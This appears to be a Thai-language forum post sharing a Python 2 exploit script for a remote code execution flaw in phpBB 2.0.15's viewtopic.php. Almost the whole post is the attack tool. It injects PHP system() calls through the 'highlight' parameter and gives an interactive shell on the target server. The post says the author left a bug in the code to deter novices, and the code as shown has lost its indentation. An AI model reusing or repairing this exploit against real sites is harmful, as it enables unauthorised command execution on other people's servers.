phpBB 2.0.15 "viewtopic.php" Remote PHP Code Execu

เป็นโค้ดที่อนุญาติให้ รัน โปรแกรมที่ remote machine ได้
โค้ดเขียนโดย Python คนเขียนวางบักไว้ป้องกันไม่ให้มือใหม่เอาไปใช้ในทางที่ผิด
[src]
#!/usr/bin/pyth0n

print "nphpBB 2.0.15 arbitrary command execution eXploit"
print " 2005 by rattle@awarenetwork.org"
print " well, just because there is none."

import sys
from urllib2 import Request, urlopen
from urlparse import urlparse, urlunparse
from urllib import quote as quote_plus

INITTAG = '<g0>'
ENDTAG = '</g0>'

def makecmd(cmd):
return reduce(lambda x,y: x+'.chr(%d)'%ord(y),cmd[1:],'chr(%d)'%ord(cmd[0]))


_ex = "%sviewtopic.php?t=%s&highlight=%%27."
_ex += "printf(" + makecmd(INITTAG) + ").system(%s)."
_ex += "printf(" + makecmd(ENDTAG) + ").%%27"


def usage():
print """Usage: %s <forum> <topic>

forum - fully qualified url to the forum
example: http://www.host.com/phpBB/

topic - ID of an existing topic. Well you
will have to check yourself.

"""[:-1] % sys.argv[0]; sys.exit(1)


if __name__ == '__main__':

if len(sys.argv) < 3 or not sys.argv[2].isdigit():
usage()
else:
print
url = sys.argv[1]
if url.count("://") == 0:
url = "http://" + url
url = list(urlparse(url))
host = url[1]
if not host: usage()

if not url[0]: url[0] = 'http'
if not url[2]: url[2] = '/'
url[3] = url[4] = url[5] = ''

url = urlunparse(url)
if url[-1] != '/': url += '/'

topic = quote_plus((sys.argv[2]))

while 1:

try:
cmd = raw_input("[%s]$ " % host).strip()
if cmd[-1]==';': cmd=cmd[:-1]

if (cmd == "exit"): break
else: cmd = makecmd(cmd)

out = _ex % (url,topic,cmd)

try: ret = urlopen(Request(out)).read()
except KeyboardInterrupt: continue
except: pass

else:
ret = ret.split(INITTAG,1)
if len(ret)>1: ret = ret[1].split(ENDTAG,1)
if len(ret)>1:
ret = ret[0].strip();
if ret: print ret
continue;

print "EXPLOIT FAILED"

except:
continue
[/src]